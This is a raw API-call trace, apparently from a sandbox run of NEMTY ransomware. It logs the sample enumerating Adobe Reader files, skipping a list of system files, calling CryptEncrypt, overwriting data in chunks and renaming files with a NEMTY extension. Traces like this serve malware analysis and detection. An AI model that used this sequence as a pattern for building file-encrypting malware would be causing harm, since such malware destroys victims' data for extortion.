pszString="AFgehdepZDXn3CRZhdKtn3ztgH2/LHU1c5zd7ZE8Frg/Ro+NKBI1ifz3verKCOjw\r\nkWcq170baOsmpTKh23Zh2rXfs9pKuFW8DRLviwob9bj8A8tjqY+s7As59zozvtKU\r\nYQUeZSigo/2bbM1JFmC9rxqC8wWZZkExfjsmyrzsQF13LpQV2v3Yez0QAJ9vA5SN\r\niwjwF+pW9J5bUP52nCYXQxVi6xj7SVhEz1H1oPWMk9V+PIJHcd4/lntiuVd6oe6c\r\nhzVqyGflKQmsGD2qF4qQmCx4wdrvFRtvZl2sYFqH0cXCsG8XHFUkg1N0+Y6mjfnL\r\nUmajqW5UIvQmrv6Vht90Sg==\r\n", pcchString=0x653e91c) returned 1 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0202.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0202.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.400] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.508] CloseHandle (hObject=0xffffffff) returned 0 [0202.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.508] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc._nemty_kgobjgd_")) returned 0 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.509] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="AD662F~1")) returned 1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2=".") returned 1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="..") returned 1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="...") returned 1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="windows") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="$RECYCLE.BIN") returned 1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="rsa") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="NTDETECT.COM") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="ntldr") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="MSDOS.SYS") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="IO.SYS") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="boot.ini") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="boot.ini") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="AUTOEXEC.BAT") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="ntuser.dat") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="desktop.ini") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="CONFIG.SYS") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="RECYCLER") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="BOOTSECT.BAK") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="bootmgr") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="programdata") returned -1 [0202.509] lstrcmpiW (lpString1="Adobe-Korea1-KSCpc-EUC", lpString2="appdata") returned -1 [0202.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 22 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 22 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 22 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCpc-EUC", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCpc-EUC", lpUsedDefaultChar=0x0) returned 22 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0202.510] Sleep (dwMilliseconds=0x5) [0202.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c5b3ef0, dwHighDateTime=0x1d561e8)) [0202.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c5b3ef0, dwHighDateTime=0x1d561e8)) [0202.517] GetLastError () returned 0x5 [0202.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.517] GetLastError () returned 0x5 [0202.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.517] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.517] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.518] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0202.518] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="6dNmTyQr5fXYMfet6nkDbxlWQ+vy+Z/zUgi7S36kF3myKVVLRJqfk29K21zeN68o\r\ncsuhJR5NkmQ6Fmx89e01eH2KeTY57WW8JY+3QG9HxgRNgZj29F3mLTi4vqT59qi9\r\nyYUCOpGtWjoDM6YOGIIc1YfHJZIzV4R0BFIx4xtqFrJcX6G2c8Tywp9xM6rvFRRs\r\ndD3JX1RqrH6GYS2zoLkTbCUbnDyhj09jAMucbPsu3BjTNaCamek2U3+qbwQAEobk\r\n4RV8qy/NJlOeHjJwDbtW7eaHrQZV/oHh8vuEvCyU0Rzo+v3+ExM4v8vKkUlSyHM1\r\n8jTcdfy6GYePTyPg4tTIOA==\r\n", pcchString=0x653e91c) returned 1 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0202.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0202.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 